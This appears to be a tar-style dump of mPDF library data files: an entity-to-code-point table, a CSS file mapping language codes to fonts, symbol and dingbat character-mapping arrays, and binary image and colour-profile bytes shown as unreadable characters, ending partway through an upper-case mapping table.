FâG%GhGªGîH2HuH¹HüI@I„IÉJJRJ—JÜK!KfK«KðL7L}LÂMMOM•MÛN"NiN±NøO?O†OÎPP^P¦PîQ6Q~QÈRRZR£RìS6SSÉTT]T§TñU¹µº,º£»»“¼ ¼‚¼ú½s½ë¾d¾Ý¿V¿ÏÀHÀÂÁ;Á¶Â/ªÃ$ßÄÄ•ÅÅ‹ÆÆ‚ÆÿÇzÇ÷ÈsÈïÉmÉéÊgÊäËbËßÌ]ÌÛÍYÍØÎVÎÕÏTÏÓÐSÐÒÑQÑÒÒRÒÑÓRÓÓÔTÔÕÕUÕ×ÖXÖÚ×\×ÞØ`ØãÙeÙçÚkÚîÛqÛõÜxÜûÝ€ÞÞˆß ß’ààœá!á¦â-â²ã8ã¿äEäËåRåÙæ`æççoç÷è~ééêê ë)ë²ì;ìÄíNí×îaîëïvððŠññ¡ò,ò·óBóÎôZôæõrõþöŒ÷÷¥ø2ø¿ùNùÛúiú÷û†üü£ý2ýÁþPþàÿoÿÿdesc.IEC 61966-2-1 Default RGB Colour Space - sRGBXYZ b™·…ÚXYZ PmeasXYZ 3¤XYZ o¢8õsig CRT desc-Reference Viewing Condition in IEC 61966-2-1XYZ öÖÓ-textCopyright International Color Consortium, 2009sf32 Dßÿÿó&”ýÿÿû¡ÿÿý¢ÛÀuvendor/mpdf/mpdf/data/patterns/es.php000064400000073741147600022140013616 0ustar00 '160', 'iexcl' => '161', 'cent' => '162', 'pound' => '163', 'curren' => '164', 'yen' => '165', 'brvbar' => '166', 'sect' => '167', 'uml' => '168', 'copy' => '169', 'ordf' => '170', 'laquo' => '171', 'not' => '172', 'shy' => '173', 'reg' => '174', 'macr' => '175', 'deg' => '176', 'plusmn' => '177', 'sup2' => '178', 'sup3' => '179', 'acute' => '180', 'micro' => '181', 'para' => '182', 'middot' => '183', 'cedil' => '184', 'sup1' => '185', 'ordm' => '186', 'raquo' => '187', 'frac14' => '188', 'frac12' => '189', 'frac34' => '190', 'iquest' => '191', 'Agrave' => '192', 'Aacute' => '193', 'Acirc' => '194', 'Atilde' => '195', 'Auml' => '196', 'Aring' => '197', 'AElig' => '198', 'Ccedil' => '199', 'Egrave' => '200', 'Eacute' => '201', 'Ecirc' => '202', 'Euml' => '203', 'Igrave' => '204', 'Iacute' => '205', 'Icirc' => '206', 'Iuml' => '207', 'ETH' => '208', 'Ntilde' => '209', 'Ograve' => '210', 'Oacute' => '211', 'Ocirc' => '212', 'Otilde' => '213', 'Ouml' => '214', 'times' => '215', 'Oslash' => '216', 'Ugrave' => '217', 'Uacute' => '218', 'Ucirc' => '219', 'Uuml' => '220', 'Yacute' => '221', 'THORN' => '222', 'szlig' => '223', 'agrave' => '224', 'aacute' => '225', 'acirc' => '226', 'atilde' => '227', 'auml' => '228', 'aring' => '229', 'aelig' => '230', 'ccedil' => '231', 'egrave' => '232', 'eacute' => '233', 'ecirc' => '234', 'euml' => '235', 'igrave' => '236', 'iacute' => '237', 'icirc' => '238', 'iuml' => '239', 'eth' => '240', 'ntilde' => '241', 'ograve' => '242', 'oacute' => '243', 'ocirc' => '244', 'otilde' => '245', 'ouml' => '246', 'divide' => '247', 'oslash' => '248', 'ugrave' => '249', 'uacute' => '250', 'ucirc' => '251', 'uuml' => '252', 'yacute' => '253', 'thorn' => '254', 'yuml' => '255', 'OElig' => '338', 'oelig' => '339', 'Scaron' => '352', 'scaron' => '353', 'Yuml' => '376', 'fnof' => '402', 'circ' => '710', 'tilde' => '732', 'Alpha' => '913', 'Beta' => '914', 'Gamma' => '915', 'Delta' => '916', 'Epsilon' => '917', 'Zeta' => '918', 'Eta' => '919', 'Theta' => '920', 'Iota' => '921', 'Kappa' => '922', 'Lambda' => '923', 'Mu' => '924', 'Nu' => '925', 'Xi' => '926', 'Omicron' => '927', 'Pi' => '928', 'Rho' => '929', 'Sigma' => '931', 'Tau' => '932', 'Upsilon' => '933', 'Phi' => '934', 'Chi' => '935', 'Psi' => '936', 'Omega' => '937', 'alpha' => '945', 'beta' => '946', 'gamma' => '947', 'delta' => '948', 'epsilon' => '949', 'zeta' => '950', 'eta' => '951', 'theta' => '952', 'iota' => '953', 'kappa' => '954', 'lambda' => '955', 'mu' => '956', 'nu' => '957', 'xi' => '958', 'omicron' => '959', 'pi' => '960', 'rho' => '961', 'sigmaf' => '962', 'sigma' => '963', 'tau' => '964', 'upsilon' => '965', 'phi' => '966', 'chi' => '967', 'psi' => '968', 'omega' => '969', 'thetasym' => '977', 'upsih' => '978', 'piv' => '982', 'ensp' => '8194', 'emsp' => '8195', 'thinsp' => '8201', 'zwnj' => '8204', 'zwj' => '8205', 'lrm' => '8206', 'rlm' => '8207', 'ndash' => '8211', 'mdash' => '8212', 'lsquo' => '8216', 'rsquo' => '8217', 'sbquo' => '8218', 'ldquo' => '8220', 'rdquo' => '8221', 'bdquo' => '8222', 'dagger' => '8224', 'Dagger' => '8225', 'bull' => '8226', 'hellip' => '8230', 'permil' => '8240', 'prime' => '8242', 'Prime' => '8243', 'lsaquo' => '8249', 'rsaquo' => '8250', 'oline' => '8254', 'frasl' => '8260', 'euro' => '8364', 'image' => '8465', 'weierp' => '8472', 'real' => '8476', 'trade' => '8482', 'alefsym' => '8501', 'larr' => '8592', 'uarr' => '8593', 'rarr' => '8594', 'darr' => '8595', 'harr' => '8596', 'crarr' => '8629', 'lArr' => '8656', 'uArr' => '8657', 'rArr' => '8658', 'dArr' => '8659', 'hArr' => '8660', 'forall' => '8704', 'part' => '8706', 'exist' => '8707', 'empty' => '8709', 'nabla' => '8711', 'isin' => '8712', 'notin' => '8713', 'ni' => '8715', 'prod' => '8719', 'sum' => '8721', 'minus' => '8722', 'lowast' => '8727', 'radic' => '8730', 'prop' => '8733', 'infin' => '8734', 'ang' => '8736', 'and' => '8743', 'or' => '8744', 'cap' => '8745', 'cup' => '8746', 'int' => '8747', 'there4' => '8756', 'sim' => '8764', 'cong' => '8773', 'asymp' => '8776', 'ne' => '8800', 'equiv' => '8801', 'le' => '8804', 'ge' => '8805', 'sub' => '8834', 'sup' => '8835', 'nsub' => '8836', 'sube' => '8838', 'supe' => '8839', 'oplus' => '8853', 'otimes' => '8855', 'perp' => '8869', 'sdot' => '8901', 'lceil' => '8968', 'rceil' => '8969', 'lfloor' => '8970', 'rfloor' => '8971', 'lang' => '9001', 'rang' => '9002', 'loz' => '9674', 'spades' => '9824', 'clubs' => '9827', 'hearts' => '9829', 'diams' => '9830', ]; vendor/mpdf/mpdf/data/lang2fonts.css000064400000021646147600022140013422 0ustar00/* European */ :lang("en"), :lang("eng"), /* English */ /* LATIN */ :lang("eu"), :lang("eus"), /* Basque */ :lang("br"), :lang("bre"), /* Breton */ :lang("ca"), :lang("cat"), /* Catalan */ :lang("co"), :lang("cos"), /* Corsican */ :lang("kw"), :lang("cor"), /* Cornish */ :lang("cy"), :lang("cym"), /* Welsh */ :lang("cs"), :lang("ces"), /* Czech */ :lang("da"), :lang("dan"), /* Danish */ :lang("nl"), :lang("nld"), /* Dutch */ :lang("et"), :lang("est"), /* Estonian */ :lang("fo"), :lang("fao"), /* Faroese */ :lang("fi"), :lang("fin"), /* Finnish */ :lang("fr"), :lang("fra"), /* French */ :lang("gl"), :lang("glg"), /* Galician */ :lang("de"), :lang("deu"), /* German */ :lang("ht"), :lang("hat"), /* Haitian; Haitian Creole */ :lang("hu"), :lang("hun"), /* Hungarian */ :lang("ga"), :lang("gle"), /* Irish */ :lang("is"), :lang("isl"), /* Icelandic */ :lang("it"), :lang("ita"), /* Italian */ :lang("la"), :lang("lat"), /* Latin */ :lang("lb"), :lang("ltz"), /* Luxembourgish */ :lang("li"), :lang("lim"), /* Limburgish */ :lang("lt"), :lang("lit"), /* Lithuanian */ :lang("lv"), :lang("lav"), /* Latvian */ :lang("gv"), :lang("glv"), /* Manx */ :lang("no"), :lang("nor"), /* Norwegian */ :lang("nn"), :lang("nno"), /* Norwegian Nynorsk */ :lang("nb"), :lang("nob"), /* Norwegian Bokmal */ :lang("pl"), :lang("pol"), /* Polish */ :lang("pt"), :lang("por"), /* Portuguese */ :lang("ro"), :lang("ron"), /* Romanian */ :lang("gd"), :lang("gla"), /* Scottish Gaelic */ :lang("es"), :lang("spa"), /* Spanish */ :lang("sv"), :lang("swe"), /* Swedish */ :lang("sl"), :lang("slv"), /* Slovene */ :lang("sk"), :lang("slk") { /* Slovak */ font-family: dejavusanscondensed; } :lang("el"), :lang("ell") { /* GREEK */ font-family: dejavusanscondensed; } :lang("ru"), :lang("rus"), /* Russian */ /* CYRILLIC */ :lang("ab"), :lang("abk"), /* Abkhaz */ :lang("av"), :lang("ava"), /* Avaric */ :lang("ba"), :lang("bak"), /* Bashkir */ :lang("be"), :lang("bel"), /* Belarusian */ :lang("bg"), :lang("bul"), /* Bulgarian */ :lang("ce"), :lang("che"), /* Chechen */ :lang("cv"), :lang("chv"), /* Chuvash */ :lang("kk"), :lang("kaz"), /* Kazakh */ :lang("kv"), :lang("kom"), /* Komi */ :lang("ky"), :lang("kir"), /* Kyrgyz */ :lang("mk"), :lang("mkd"), /* Macedonian */ :lang("cu"), :lang("chu"), /* Old Church Slavonic */ :lang("os"), :lang("oss"), /* Ossetian */ :lang("sr"), :lang("srp"), /* Serbian */ :lang("tg"), :lang("tgk"), /* Tajik */ :lang("tt"), :lang("tat"), /* Tatar */ :lang("tk"), :lang("tuk"), /* Turkmen */ :lang("uk"), :lang("ukr") { /* Ukrainian */ font-family: dejavusanscondensed; } :lang("hy"), :lang("hye") { /* ARMENIAN */ font-family: dejavusanscondensed; } :lang("ka"), :lang("kat") { /* GEORGIAN */ font-family: dejavusanscondensed; } :lang("cop") { /* COPTIC */ font-family: quivira; } :lang("got") { /* GOTHIC */ font-family: freeserif; } :lang("und-Latn") { /* LATIN */ font-family: dejavusanscondensed; } :lang("und-Cyrl") { /* CYRILLIC */ font-family: dejavusanscondensed; } :lang("und-Cprt") { /* CYPRIOT */ font-family: aegean; } :lang("und-Glag") { /* GLAGOLITIC */ font-family: mph2bdamase; } :lang("und-Linb") { /* LINEAR_B */ font-family: aegean; } :lang("und-Ogam") { /* OGHAM */ font-family: dejavusanscondensed; } :lang("und-Ital") { /* OLD_ITALIC */ font-family: aegean; } :lang("und-Runr") { /* RUNIC */ font-family: sun-exta; } :lang("und-Shaw") { /* SHAVIAN */ font-family: mph2bdamase; } /* African */ :lang("am"), :lang("amh") { /* Amharic ETHIOPIC */ font-family: abyssinicasil; } :lang("ti"), :lang("tir") { /* Tigrinya ETHIOPIC */ font-family: abyssinicasil; } :lang("nqo") { /* NKO */ font-family: dejavusanscondensed; } :lang("vai") { /* VAI */ font-family: freesans; } :lang("und-Egyp") { /* EGYPTIAN_HIEROGLYPHS */ font-family: aegyptus; } :lang("und-Ethi") { /* ETHIOPIC */ font-family: abyssinicasil; } :lang("und-Osma") { /* OSMANYA */ font-family: mph2bdamase; } :lang("und-Tfng") { /* TIFINAGH */ font-family: dejavusanscondensed; } /* Middle Eastern */ :lang("ar"), :lang("ara") { /* Arabic */ font-family: xbriyaz; } :lang("fa"), :lang("fas") { /* Persian (Farsi) */ font-family: xbriyaz; } :lang("ku"), :lang("kur") { /* Kurdish */ font-family: xbriyaz; } :lang("ps"), :lang("pus") { /* Pashto */ font-family: xbriyaz; } :lang("ur"), :lang("urd") { /* Urdu */ font-family: xbriyaz; } :lang("he"), :lang("heb") { /* HEBREW */ font-family: taameydavidclm; } :lang("yi"), :lang("yid") { /* Yiddish */ font-family: taameydavidclm; } :lang("syr") { /* SYRIAC */ font-family: estrangeloedessa; } :lang("xcr") { /* CARIAN */ font-family: aegean; } :lang("xlc") { /* LYCIAN */ font-family: aegean; } :lang("xld") { /* LYDIAN */ font-family: aegean; } :lang("phn") { /* PHOENICIAN */ font-family: aegean; } :lang("uga") { /* UGARITIC */ font-family: aegean; } :lang("und-Arab") { /* ARABIC */ font-family: xbriyaz; } :lang("und-Xsux") { /* CUNEIFORM */ font-family: akkadian; } /* Central Asian */ :lang("bo"), :lang("bod"), /* TIBETAN */ :lang("dz"), :lang("dzo") { /* Dzongkha */ font-family: jomolhari; } /* South Asian */ :lang("as"), :lang("asm") { /* Assamese */ font-family: freeserif; } :lang("bn"), :lang("ben") { /* BENGALI; Bangla */ font-family: freeserif; } :lang("ks"), :lang("kas") { /* Kashmiri */ font-family: freeserif; } :lang("hi"), :lang("hin"), /* Hindi DEVANAGARI */ :lang("bh"), :lang("bih"), /* Bihari (Bhojpuri, Magahi, and Maithili) */ :lang("sa"), :lang("san") { /* Sanskrit */ font-family: freeserif; } :lang("gu"), :lang("guj") { /* Gujarati */ font-family: freeserif; } :lang("pa"), :lang("pan") { /* Panjabi, Punjabi GURMUKHI */ font-family: freeserif; } :lang("kn"), :lang("kan") { /* Kannada */ font-family: lohitkannada; } :lang("mr"), :lang("mar") { /* Marathi */ font-family: freeserif; } :lang("ml"), :lang("mal") { /* MALAYALAM */ font-family: freeserif; } :lang("ne"), :lang("nep") { /* Nepali */ font-family: freeserif; } :lang("or"), :lang("ori") { /* ORIYA */ font-family: freeserif; } :lang("si"), :lang("sin") { /* SINHALA */ font-family: kaputaunicode; } :lang("ta"), :lang("tam") { /* TAMIL */ font-family: freeserif; } :lang("te"), :lang("tel") { /* TELUGU */ font-family: pothana2000; } :lang("sd"), :lang("snd") { /* Sindhi */ font-family: lateef; } :lang("sd-IN") { /* Sindhi */ font-family: freeserif; } :lang("sd-PK") { /* Sindhi */ font-family: lateef; } :lang("lif") { /* LIMBU */ font-family: sun-exta; } :lang("syl") { /* SYLOTI_NAGRI */ font-family: mph2bdamase; } :lang("dv"), :lang("div") { /* Divehi; Maldivian THAANA */ font-family: freeserif; } :lang("und-Khar") { /* KHAROSHTHI */ font-family: mph2bdamase; } :lang("und-Mtei") { /* MEETEI_MAYEK */ font-family: eeyekunicode; } /* South East Asian */ :lang("km"), :lang("khm") { /* KHMER */ font-family: khmeros; } :lang("lo"), :lang("lao") { /* LAO */ font-family: dhyana; } :lang("my"), :lang("mya") { /* MYANMAR Burmese */ font-family: tharlon; /* zawgyi-one is non-unicode compliant but in wide usage ; ayar is also not strictly compliant */ } :lang("th"), :lang("tha") { /* THAI */ font-family: garuda; } :lang("vi"), :lang("vie") { /* Vietnamese */ font-family: dejavusanscondensed; } :lang("bug") { /* BUGINESE */ font-family: freeserif; } :lang("su") { /* SUNDANESE */ font-family: sundaneseunicode; } :lang("tdd") { /* TAI_LE */ font-family: tharlon; } :lang("blt") { /* TAI_VIET */ font-family: taiheritagepro; } :lang("und-Kali") { /* KAYAH_LI */ font-family: freemono; } :lang("und-Lana") { /* TAI_THAM */ font-family: lannaalif; } :lang("und-Talu") { /* NEW_TAI_LUE */ font-family: daibannasilbook; } /* Phillipine */ :lang("bku") { /* BUHID */ font-family: quivira; } :lang("hnn") { /* HANUNOO */ font-family: quivira; } :lang("tl") { /* TAGALOG */ font-family: quivira; } :lang("tbw") { /* TAGBANWA */ font-family: quivira; } /* East Asian */ :lang("zh"), :lang("zho") { /* Chinese */ font-family: sun-exta, gb; } :lang("zh-HK") { /* Hong Kong */ font-family: sun-exta, big5; } :lang("zh-TW") { /* Taiwan */ font-family: sun-exta, big5; } :lang("zh-CN") { /* Chinese */ font-family: sun-exta, gb; } :lang("ko"), :lang("kor") { /* HANGUL Korean */ font-family: unbatang, uhc; } :lang("ja"), :lang("jpn") { /* Japanese HIRAGANA KATAKANA */ font-family: sun-exta, sjis; } :lang("lis") { /* LISU */ font-family: quivira; } :lang("und-Hans") { /* HAN (SIMPLIFIED) */ font-family: sun-exta, gb; } :lang("und-Bopo") { /* BOPOMOFO */ font-family: sun-exta; } :lang("ii"), :lang("iii"), /* Nuosu; Yi */ :lang("und-Yiii") { /* YI */ font-family: sun-exta; } /* American */ :lang("chr") { /* CHEROKEE */ font-family: aboriginalsans; } :lang("oj"), :lang("oji"), /* Ojibwe; Chippewa */ :lang("iu"), :lang("iku"), /* Inuktitut */ :lang("cr"), :lang("cre") { /* Cree CANADIAN_ABORIGINAL */ font-family: aboriginalsans; } :lang("und-Dsrt") { /* DESERET */ font-family: mph2bdamase; } /* Other */ :lang("und-Brai") { /* BRAILLE */ font-family: dejavusans; } vendor/mpdf/mpdf/data/no_image.jpg000064400000017320147600022140013105 0ustar00ÿØÿàJFIFHHÿáŽExifMM*; J‡iTœtê >êIan Backê fêIan Backÿá ahttp://ns.adobe.com/xap/1.0/ Ian Back ÿÛCÿÛCÿÀ"ÿÄ ÿĵ}!1AQa"q2‘¡#B±ÁRÑð$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×ØÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ ÿĵw!1AQaq"2B‘¡±Á #3RðbrÑ $4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×ØÙÚâãäåæçèéêòóôõö÷øùúÿÚ ?þšeÖbÿÙ›öXý—>*üý™ü/wàü+ðâüDøí¦|Ó¼C§øsP›H‚H.5ñ o~úåüˆî"¶¸O´È‰;Âeˆ¿óÿÿIxƒOøyÿàý¾6üøIâÏØ»Åß¿hûtÕô]/ö^ ñŒZTš©$Vš°Ògmü«yͬ’—ŒìY’)‘ãOן ~Þ_ðDo‹e-öŒý°¿coêþh¿cøãÏWz¶´tHì®^ÿDk£c}<(×Ä÷pÌÖåäh lìÇùéÿƒžiïø'×Äoø'ì—û>þÄ?´ÇÁÿŒoÁïÚBѬü ௎ÇÆZ®‘¡ UŽ"Ïqw=Ù´‰åŽÜía…v ‰‘†§ž,òr¨ãõ[{«^nm/vÖÞÚÝjÛ—2TÿFÌ1>OÃœ%,-ë '65', 914 => '66', 915 => '71', 916 => '68', 917 => '69', 918 => '90', 919 => '72', 920 => '81', 921 => '73', 922 => '75', 923 => '76', 924 => '77', 925 => '78', 926 => '88', 927 => '79', 928 => '80', 929 => '82', 931 => '83', 932 => '84', 933 => '85', 934 => '70', 935 => '67', 936 => '89', 937 => '87', 945 => '97', 946 => '98', 947 => '103', 948 => '100', 949 => '101', 950 => '122', 951 => '104', 952 => '113', 953 => '105', 954 => '107', 955 => '108', 956 => '109', 957 => '110', 958 => '120', 959 => '111', 960 => '112', 961 => '114', 962 => '86', 963 => '115', 964 => '116', 965 => '117', 966 => '102', 967 => '99', 968 => '121', 969 => '119', 977 => '74', 978 => '161', 981 => '106', 982 => '118', 8242 => '162', 8243 => '178', 8260 => '164', 8465 => '193', 8472 => '195', 8476 => '194', 8486 => '87', 8501 => '192', 8592 => '172', 8593 => '173', 8594 => '174', 8595 => '175', 8596 => '171', 8597 => '215', 8629 => '191', 8656 => '220', 8657 => '221', 8658 => '222', 8659 => '223', 8660 => '219', 8704 => '34', 8706 => '182', 8707 => '36', 8709 => '198', 8710 => '68', 8711 => '209', 8712 => '206', 8713 => '207', 8715 => '39', 8719 => '213', 8721 => '229', 8722 => '45', 8725 => '164', 8727 => '42', 8730 => '214', 8733 => '181', 8734 => '165', 8736 => '208', 8743 => '217', 8744 => '218', 8745 => '199', 8746 => '200', 8747 => '242', 8756 => '92', 8764 => '126', 8773 => '64', 8776 => '187', 8800 => '185', 8801 => '186', 8804 => '163', 8805 => '179', 8834 => '204', 8835 => '201', 8836 => '203', 8838 => '205', 8839 => '202', 8853 => '197', 8855 => '196', 8869 => '94', 8901 => '215', 8992 => '243', 8993 => '245', 9001 => '225', 9002 => '241', 9312 => '172', 9313 => '173', 9314 => '174', 9315 => '175', 9316 => '176', 9317 => '177', 9318 => '178', 9319 => '179', 9320 => '180', 9321 => '181', 9632 => '110', 9650 => '115', 9660 => '116', 9670 => '117', 9674 => '224', 9679 => '108', 9687 => '119', 9733 => '72', 9742 => '37', 9755 => '42', 9758 => '43', 9824 => '170', 9827 => '167', 9829 => '169', 9830 => '168', 9985 => '33', 9986 => '34', 9987 => '35', 9988 => '36', 9990 => '38', 9991 => '39', 9992 => '40', 9993 => '41', 9996 => '44', 9997 => '45', 9998 => '46', 9999 => '47', 10000 => '48', 10001 => '49', 10002 => '50', 10003 => '51', 10004 => '52', 10005 => '53', 10006 => '54', 10007 => '55', 10008 => '56', 10009 => '57', 10010 => '58', 10011 => '59', 10012 => '60', 10013 => '61', 10014 => '62', 10015 => '63', 10016 => '64', 10017 => '65', 10018 => '66', 10019 => '67', 10020 => '68', 10021 => '69', 10022 => '70', 10023 => '71', 10025 => '73', 10026 => '74', 10027 => '75', 10028 => '76', 10029 => '77', 10030 => '78', 10031 => '79', 10032 => '80', 10033 => '81', 10034 => '82', 10035 => '83', 10036 => '84', 10037 => '85', 10038 => '86', 10039 => '87', 10040 => '88', 10041 => '89', 10042 => '90', 10043 => '91', 10044 => '92', 10045 => '93', 10046 => '94', 10047 => '95', 10048 => '96', 10049 => '97', 10050 => '98', 10051 => '99', 10052 => '100', 10053 => '101', 10054 => '102', 10055 => '103', 10056 => '104', 10057 => '105', 10058 => '106', 10059 => '107', 10061 => '109', 10063 => '111', 10064 => '112', 10065 => '113', 10066 => '114', 10070 => '118', 10072 => '120', 10073 => '121', 10074 => '122', 10075 => '123', 10076 => '124', 10077 => '125', 10078 => '126', 10081 => '161', 10082 => '162', 10083 => '163', 10084 => '164', 10085 => '165', 10086 => '166', 10087 => '167', 10102 => '182', 10103 => '183', 10104 => '184', 10105 => '185', 10106 => '186', 10107 => '187', 10108 => '188', 10109 => '189', 10110 => '190', 10111 => '191', 10112 => '192', 10113 => '193', 10114 => '194', 10115 => '195', 10116 => '196', 10117 => '197', 10118 => '198', 10119 => '199', 10120 => '200', 10121 => '201', 10122 => '202', 10123 => '203', 10124 => '204', 10125 => '205', 10126 => '206', 10127 => '207', 10128 => '208', 10129 => '209', 10130 => '210', 10131 => '211', 10132 => '212', 10136 => '216', 10137 => '217', 10138 => '218', 10139 => '219', 10140 => '220', 10141 => '221', 10142 => '222', 10143 => '223', 10144 => '224', 10145 => '225', 10146 => '226', 10147 => '227', 10148 => '228', 10149 => '229', 10150 => '230', 10151 => '231', 10152 => '232', 10153 => '233', 10154 => '234', 10155 => '235', 10156 => '236', 10157 => '237', 10158 => '238', 10159 => '239', 10161 => '241', 10162 => '242', 10163 => '243', 10164 => '244', 10165 => '245', 10166 => '246', 10167 => '247', 10168 => '248', 10169 => '249', 10170 => '250', 10171 => '251', 10172 => '252', 10173 => '253', 10174 => '254', ); vendor/mpdf/mpdf/data/subs_core.php000064400000013074147600022140013324 0ustar00 160, 161 => 161, 162 => 162, 163 => 163, 164 => 164, 165 => 165, 166 => 166, 167 => 167, 168 => 168, 169 => 169, 170 => 170, 171 => 171, 172 => 172, 173 => 173, 174 => 174, 175 => 175, 176 => 176, 177 => 177, 178 => 178, 179 => 179, 180 => 180, 181 => 181, 182 => 182, 183 => 183, 184 => 184, 185 => 185, 186 => 186, 187 => 187, 188 => 188, 189 => 189, 190 => 190, 191 => 191, 192 => 192, 193 => 193, 194 => 194, 195 => 195, 196 => 196, 197 => 197, 198 => 198, 199 => 199, 200 => 200, 201 => 201, 202 => 202, 203 => 203, 204 => 204, 205 => 205, 206 => 206, 207 => 207, 208 => 208, 209 => 209, 210 => 210, 211 => 211, 212 => 212, 213 => 213, 214 => 214, 215 => 215, 216 => 216, 217 => 217, 218 => 218, 219 => 219, 220 => 220, 221 => 221, 222 => 222, 223 => 223, 224 => 224, 225 => 225, 226 => 226, 227 => 227, 228 => 228, 229 => 229, 230 => 230, 231 => 231, 232 => 232, 233 => 233, 234 => 234, 235 => 235, 236 => 236, 237 => 237, 238 => 238, 239 => 239, 240 => 240, 241 => 241, 242 => 242, 243 => 243, 244 => 244, 245 => 245, 246 => 246, 247 => 247, 248 => 248, 249 => 249, 250 => 250, 251 => 251, 252 => 252, 253 => 253, 254 => 254, 255 => 255, 338 => 140, 339 => 156, 352 => 138, 353 => 154, 376 => 159, 381 => 142, 382 => 158, 402 => 131, 710 => 136, 732 => 152, 8211 => 150, 8212 => 151, 8216 => 145, 8217 => 146, 8218 => 130, 8220 => 147, 8221 => 148, 8222 => 132, 8224 => 134, 8225 => 135, 8226 => 149, 8230 => 133, 8240 => 137, 8249 => 139, 8250 => 155, 8364 => 128, 8482 => 153 ); $zarr = array( 8594 => 213, 8596 => 214, 8597 => 215, 9312 => 172, 9313 => 173, 9314 => 174, 9315 => 175, 9316 => 176, 9317 => 177, 9318 => 178, 9319 => 179, 9320 => 180, 9321 => 181, 9632 => 110, 9650 => 115, 9660 => 116, 9670 => 117, 9679 => 108, 9687 => 119, 9733 => 72, 9742 => 37, 9755 => 42, 9758 => 43, 9824 => 171, 9827 => 168, 9829 => 170, 9830 => 169, 9985 => 33, 9986 => 34, 9987 => 35, 9988 => 36, 9990 => 38, 9991 => 39, 9992 => 40, 9993 => 41, 9996 => 44, 9997 => 45, 9998 => 46, 9999 => 47, 10000 => 48, 10001 => 49, 10002 => 50, 10003 => 51, 10004 => 52, 10005 => 53, 10006 => 54, 10007 => 55, 10008 => 56, 10009 => 57, 10010 => 58, 10011 => 59, 10012 => 60, 10013 => 61, 10014 => 62, 10015 => 63, 10016 => 64, 10017 => 65, 10018 => 66, 10019 => 67, 10020 => 68, 10021 => 69, 10022 => 70, 10023 => 71, 10025 => 73, 10026 => 74, 10027 => 75, 10028 => 76, 10029 => 77, 10030 => 78, 10031 => 79, 10032 => 80, 10033 => 81, 10034 => 82, 10035 => 83, 10036 => 84, 10037 => 85, 10038 => 86, 10039 => 87, 10040 => 88, 10041 => 89, 10042 => 90, 10043 => 91, 10044 => 92, 10045 => 93, 10046 => 94, 10047 => 95, 10048 => 96, 10049 => 97, 10050 => 98, 10051 => 99, 10052 => 100, 10053 => 101, 10054 => 102, 10055 => 103, 10056 => 104, 10057 => 105, 10058 => 106, 10059 => 107, 10061 => 109, 10063 => 111, 10064 => 112, 10065 => 113, 10066 => 114, 10070 => 118, 10072 => 120, 10073 => 121, 10074 => 122, 10075 => 123, 10076 => 124, 10077 => 125, 10078 => 126, 10081 => 161, 10082 => 162, 10083 => 163, 10084 => 164, 10085 => 165, 10086 => 166, 10087 => 167, 10102 => 182, 10103 => 183, 10104 => 184, 10105 => 185, 10106 => 186, 10107 => 187, 10108 => 188, 10109 => 189, 10110 => 190, 10111 => 191, 10112 => 192, 10113 => 193, 10114 => 194, 10115 => 195, 10116 => 196, 10117 => 197, 10118 => 198, 10119 => 199, 10120 => 200, 10121 => 201, 10122 => 202, 10123 => 203, 10124 => 204, 10125 => 205, 10126 => 206, 10127 => 207, 10128 => 208, 10129 => 209, 10130 => 210, 10131 => 211, 10132 => 212, 10136 => 216, 10137 => 217, 10138 => 218, 10139 => 219, 10140 => 220, 10141 => 221, 10142 => 222, 10143 => 223, 10144 => 224, 10145 => 225, 10146 => 226, 10147 => 227, 10148 => 228, 10149 => 229, 10150 => 230, 10151 => 231, 10152 => 232, 10153 => 233, 10154 => 234, 10155 => 235, 10156 => 236, 10157 => 237, 10158 => 238, 10159 => 239, 10161 => 241, 10162 => 242, 10163 => 243, 10164 => 244, 10165 => 245, 10166 => 246, 10167 => 247, 10168 => 248, 10169 => 249, 10170 => 250, 10171 => 251, 10172 => 252, 10173 => 253, 10174 => 254 ); $sarr = array( 169 => 227, 172 => 216, 174 => 226, 176 => 176, 177 => 177, 181 => 109, 215 => 180, 247 => 184, 402 => 166, 913 => 65, 914 => 66, 915 => 71, 916 => 68, 917 => 69, 918 => 90, 919 => 72, 920 => 81, 921 => 73, 922 => 75, 923 => 76, 924 => 77, 925 => 78, 926 => 88, 927 => 79, 928 => 80, 929 => 82, 931 => 83, 932 => 84, 933 => 85, 934 => 70, 935 => 67, 936 => 89, 937 => 87, 945 => 97, 946 => 98, 947 => 103, 948 => 100, 949 => 101, 950 => 122, 951 => 104, 952 => 113, 953 => 105, 954 => 107, 955 => 108, 956 => 109, 957 => 110, 958 => 120, 959 => 111, 960 => 112, 961 => 114, 962 => 86, 963 => 115, 964 => 116, 965 => 117, 966 => 102, 967 => 99, 968 => 121, 969 => 119, 977 => 74, 978 => 161, 981 => 106, 982 => 118, 8226 => 183, 8230 => 188, 8242 => 162, 8243 => 178, 8260 => 164, 8465 => 193, 8472 => 195, 8476 => 194, 8482 => 228, 8486 => 87, 8501 => 192, 8592 => 172, 8593 => 173, 8594 => 174, 8595 => 175, 8596 => 171, 8629 => 191, 8656 => 220, 8657 => 221, 8658 => 222, 8659 => 223, 8660 => 219, 8704 => 34, 8706 => 182, 8707 => 36, 8709 => 198, 8710 => 68, 8711 => 209, 8712 => 206, 8713 => 207, 8715 => 39, 8719 => 213, 8721 => 229, 8722 => 45, 8725 => 164, 8727 => 42, 8730 => 214, 8733 => 181, 8734 => 165, 8736 => 208, 8743 => 217, 8744 => 218, 8745 => 199, 8746 => 200, 8747 => 242, 8756 => 92, 8764 => 126, 8773 => 64, 8776 => 187, 8800 => 185, 8801 => 186, 8804 => 163, 8805 => 179, 8834 => 204, 8835 => 201, 8836 => 203, 8838 => 205, 8839 => 202, 8853 => 197, 8855 => 196, 8869 => 94, 8901 => 215, 8992 => 243, 8993 => 245, 9001 => 225, 9002 => 241, 9674 => 224, 9824 => 170, 9827 => 167, 9829 => 169, 9830 => 168 ); vendor/mpdf/mpdf/data/upperCase.php000064400000032171147600022140013266 0ustar00 65, 98 => 66, 99 => 67, 100 => 68, 101 => 69, 102 => 70, 103 => 71, 104 => 72, 105 => 73, 106 => 74, 107 => 75, 108 => 76, 109 